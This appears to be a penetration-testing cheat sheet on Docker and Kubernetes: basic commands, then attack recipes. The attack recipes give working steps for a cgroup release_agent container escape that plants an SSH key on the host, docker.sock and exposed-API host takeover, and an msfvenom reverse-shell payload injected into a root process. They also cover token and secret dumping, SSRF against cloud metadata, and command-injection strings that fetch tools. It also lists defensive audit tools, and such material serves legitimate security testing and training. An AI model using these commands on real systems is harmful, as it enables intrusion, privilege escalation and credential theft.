Docker && Kubernetes

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Docker
Concepts
Docker Image
Read only file with OS, libraries and apps
Anyone can create a docker image
Images can be stored in Docker hub (default public registry) or private registry
Docker Container
Stateful instance of an image with a writable layer
Contains everything needed to run your application
Based on one or more images
Docker Registry
Repository of images
Docker Hub
Public docker registry
Dockerfile
Configuration file that contains instructions for building a Docker image
Docker-compose file
Configuration file for docker-compose
Docker Swarm
Group of machines that are running Docker and joined into a cluster.
When you run docker commands, they are executed by a swarm manager.
Portainer
Management solution for Docker hosts and Docker Swarm clusters
Via web interface
Docker capabilities
Turn the binary "root/non-root" into a fine-grained access control system.
Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
Docker Control Groups
Used to allocate cpu, memory, network bandwith of host to container groups.
Commands
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# Search in docker hub
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docker search wpscan
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# Run docker container from docker hub
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docker run ubuntu:latest echo "Welcome to Ubuntu"
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# Run docker container from docker hub with interactive tty
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docker run --name samplecontainer -it ubuntu:latest /bin/bash
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# List running containers
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docker ps
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# List all containers
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docker ps -a
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# List docker images
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docker images
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# Run docker in background
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docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
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# Get container logs
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docker logs -f pingcontainer
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# Run container service in specified port
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docker run -d --name nginxalpine -p 7777:80 nginx:alpine
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# Access tty of running container
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docker exec -it nginxalpine sh
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# Get low-level info of docker object
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docker inspect (container or image)
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# Show image history
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docker history jess/htop
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# Stop container
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docker stop dummynginx
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# Remove container
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docker rm dummynginx
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# Run docker with specified PID namespace
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docker run --rm -it --pid=host jess/htop
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​
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# Show logs
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docker logs containername
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docker logs -f containername
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# Show service defined logs
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docker service logs
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# Look generated real time events by docker runtime
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docker system events
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docker events --since '10m'
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docker events --filter 'image=alpine'
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docker events --filter 'event=stop'
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​
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# Compose application (set up multicontainer docker app)
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docker-compose up -d
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# List docker volumes
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docker volume ls
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# Create volume
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docker volume create vol1
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# List docker networks
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docker network ls
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# Create docker network
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docker network create net1
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# Remove captability of container
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docker run --rm -it --cap-drop=NET_RAW alpine sh
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# Check capabilities inside container
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docker run --rm -it 71aa5f3f90dc bash
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capsh --print
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# Run full privileged container
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docker run --rm -it --privileged=true 71aa5f3f90dc bash
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capsh --print
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# From full privileged container you can access host devices
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more /dev/kmsg
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​
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# Creating container groups
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docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
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docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
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# Stopping cgroups
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docker stop low_priority high_priority
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# Remove cgroups
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docker rm low_priority high_priority
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​
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# Setup docker swarm cluster
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docker swarm init
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# Check swarm nodes
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docker node ls
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# Start new service in cluster
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docker service create --replicas 1 --publish 5555:80 --name nginxservice
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nginx:alpine
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# List services
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docker service ls
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# Inspect service
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docker service inspect --pretty nginxservice
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# Remove service
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docker service rm nginxservice
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# Leave cluster
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docker swarm leave (--force if only one node)
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​
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# Start portainer
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docker run -d -p 9000:9000 --name portainer \
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--restart always -v /var/run/docker.sock:/var/run/docker.sock \
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-v /opt/portainer:/data portainer/portainer
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​
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​
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# Tools
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# https://github.com/lightspin-tech/red-kube
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Docker security basics
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# Get image checksum
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docker images --digests ubuntu
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# Check content trust to get signatures
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docker trust inspect mediawiki --pretty
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# Check vulns in container
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- Look vulns in base image
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- Use https://vulners.com/audit to check for docker packages
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- Inside any container
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cat /etc/issue
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dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
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- Using Trivy https://github.com/aquasecurity/trivy
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trivy image knqyf263/vuln-image:1.2.3
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# Check metadata, secrets, env variables
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docker inspect <image name>
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docker inspect <container name>
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# Review image history
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docker history image:latest
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# Inspect everything
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docker volume inspect wordpress_db_data
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docker network inspect wordpress_default
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# Interesting look in the volume mountpoints
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docker volume inspect whatever
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cd /var/lib/docker/volumes/whatever
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# Integrity check for changed files
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docker diff imagename
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# Check if you're under a container
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https://github.com/genuinetools/amicontained#usage
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# Docker Bench Security (Security Auditor)
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cd /opt/docker-bench-security
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sudo bash docker-bench-security.sh
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Detect inside a docker or running containers
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- MAC Address
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    - Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
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- List of running processes (ps aux)
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    - Small number of processes generally indicate a container
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- CGROUPs
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    - cat /proc/1/cgroup – should show docker process running
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- Check for existence of docker.sock (ls -al /var/run/docker.sock)
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- Check for container capabilities: capsh –print
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- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports
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Escape NET_ADMIN docker container
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# Check if you're NET_ADMIN
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ip link add dummy0 type dummy
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ip link delete dummy0
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# If it works, this script execute 'ps aux' in host:
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mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
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host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
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echo "ps aux > $host_path/output" >> /cmd
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chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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# You can replace the 'ps aux' command for:
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cat id_dsa.pub >> /root/.ssh/authorized_keys
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Attack insecure volume mounts
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# After get reverse shell in docker container (eg insecure webapp with RCE)
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# This commands are executed inside insecure docker container
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# Check if it's available docker.sock
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ls -l /var/run/docker.sock
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# This allows to access the host docker service using host option with docker client by using the UNIX socket
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# Now download docker client in container and run commands in host
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./docker -H unix:///var/run/docker.sock ps
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./docker -H unix:///var/run/docker.sock images
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Attack docker misconfiguration
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# Docker container with exposed ports running docker service
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# Docker API is exposed in those docker ports
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# Check query docker API with curl
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curl 10.11.1.111:2375/images/json | jq .
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# Then you can run commands in host machine
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docker -H tcp://10.11.1.111:2375 ps
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docker -H tcp://10.11.1.111:2375 images
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Audit Docker Runtime and Registries
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# Runtime
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​
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# Host with multiple dockers running
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# Check docker daemon
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docker system info
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# Check docker API exposed on 0.0.0.0
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cat /lib/systemd/system/docker.service
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# Check if docker socket is running in any container
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docker inspect | grep -i '/var/run/'
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# Check rest of files docker related
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ls -l /var/lib/docker/
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# Check for any secret folder
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ls -l /var/run/
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ls -l /run/
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​
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# Public Registries
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# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
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# Check if docker registry is up and running
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curl -s http://localhost:5000/v2/_catalog | jq .
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# Get tags of docker image
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curl -s http://localhost:5000/v2/devcode/tags/list | jq .
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# Download image locally
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docker pull localhost:5000/devcode:latest
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# Access container to review it
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docker run --rm -it localhost:5000/devcode:latest sh
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# Once mounted we can check the docker daemon config to see user and registry
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docker system info
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# And we can check the registries configured for the creds
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cat ~/.docker/config.json
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​
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# Private registries
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# Check catalog
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curl 10.11.1.111:5000/v2/_catalog
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# Get image tags
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curl 10.11.1.111:5000/v2/privatecode/tags/list
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# Add the insecure-registry tag to download docker image
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vi /lib/systemd/system/docker.service
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ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
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# Restart docker service
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sudo systemctl daemon-reload
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sudo service docker restart
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# Download the image
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docker pull 10.11.1.111:5000/privatecode:whatevertag
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# Enter inside container and enumerate
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docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
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cd /app
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ls -la
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Attack container capabilities
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# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
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# You're already inside container
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# Check capabilities
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capsh --print
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# Upload reverse shell and linux-injector
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msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
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# Check any process running as root
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ps aux | grep root
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./injector PID_RUNNING_AS_ROOT payload.bin
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Tools
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# https://github.com/anchore/grype
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# https://github.com/aquasecurity/trivy
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# https://github.com/cr0hn/dockerscan
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# https://github.com/P3GLEG/Whaler
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# https://github.com/RhinoSecurityLabs/ccat
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Kubernetes
Concepts
Kubernetes is a security orchestrator
Kubernetes master provides an API to interact with nodes
Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
Kubernetes objects are abstractions of states of your system.
Pods: collection of container share a network and namespace in the same node.
Services: Group of pods running in the cluster.
Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
Namespaces: scope of Kubernetes objects, like a workspace (dev-space).
Commands
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# kubectl cli for run commands against Kubernetes clusters
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# Get info
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kubectl cluster-info
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# Get other objects info
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kubectl get nodes
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kubectl get pods
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kubectl get services
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# Deploy
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kubectl run nginxdeployment --image=nginx:alpine
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# Port forward to local machine
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kubectl port-forward <PODNAME> 1234:80
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# Deleting things
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kubectl delete pod
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# Shell in pod
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kubectl exec -it <PODNAME> sh
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# Check pod log
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kubectl logs <PODNAME>
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# List API resources
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kubectl api-resources
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# Check permissions
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kubectl auth can-i create pods
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# Get secrets
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kubectl get secrets <SECRETNAME> -o yaml
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# Get more info of specific pod
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kubectl describe pod <PODNAME>
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# Get cluster info
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kubectl cluster-info dump
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​
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# Known vulns
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CVE-2016-9962
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CVE-2018-1002105
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CVE-2019-5736
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CVE-2019-9901
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External Recon
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# Find subdomains like k8s.target.tld
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# Search for yaml files on GitHub
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# Check etcdtcl exposed public 
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etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
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# Check pods info disclosure on http://<external-IP>:10255/pods
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Common open ports
Common endpoints
Quick attacks
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# Dump all
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for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done
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​
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# Check for anon access
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curl -k https://<master_ip>:<port>
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etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
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curl http://<external-IP>:10255/pods
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​
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#Dump tokens from inside the pod
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kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token
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​
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#Dump all tokens from secrets
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kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt
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​
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#Standard query for creds dump:
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curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
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# This also could works /api/v1/namespaces/kube-system/secrets/
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Attack Private Registry misconfiguration
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# Web application deployed vulnerable to lfi
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# Read configuration through LFI
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cat /root/.docker/config.json
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# Download this file to your host and configure in your system
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docker login -u _json_key -p "$(cat config.json)" https://gcr.io
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# Pull the private registry image to get the backend source code
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docker pull gcr.io/training-automation-stuff/backend-source-code:latest
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# Inspect and enumerate the image
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docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
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# Check for secrets inside container
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ls -l /var/run/secrets/kubernetes.io/serviceaccount/
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# Check environment vars
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printenv
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Attack Cluster Metadata with SSRF
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# Webapp that check the health of other web applications
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# Request to 
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curl http://169.254.169.254/computeMetadata/v1/
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curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
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Attack escaping pod volume mounts to access node and host
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# Webapp makes ping
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# add some listing to find docker.sock
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ping whatever;ls -l /custom/docker/
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# Once found, download docker client
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ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
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ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
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ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
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ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images
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Tools
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# kube-bench - secutity checker
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kubectl apply -f kube-bench-node.yaml
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kubectl get pods --selector job-name=kube-bench-node
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kubectl logs kube-bench-podname
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​
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# https://github.com/aquasecurity/kube-hunter
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kube-hunter --remote some.node.com
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​
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# kubeaudit
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./kubeaudit all
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​
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# kubeletctl
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# https://github.com/cyberark/kubeletctl
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kubeletctl scan rce XXXXXXXX
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​
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# https://github.com/cdk-team/CDK
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cdk evaluate
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​
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# Api audit
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# https://github.com/averonesis/kubolt
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GCP
CDN - Comain Fronting
Last modified 3mo ago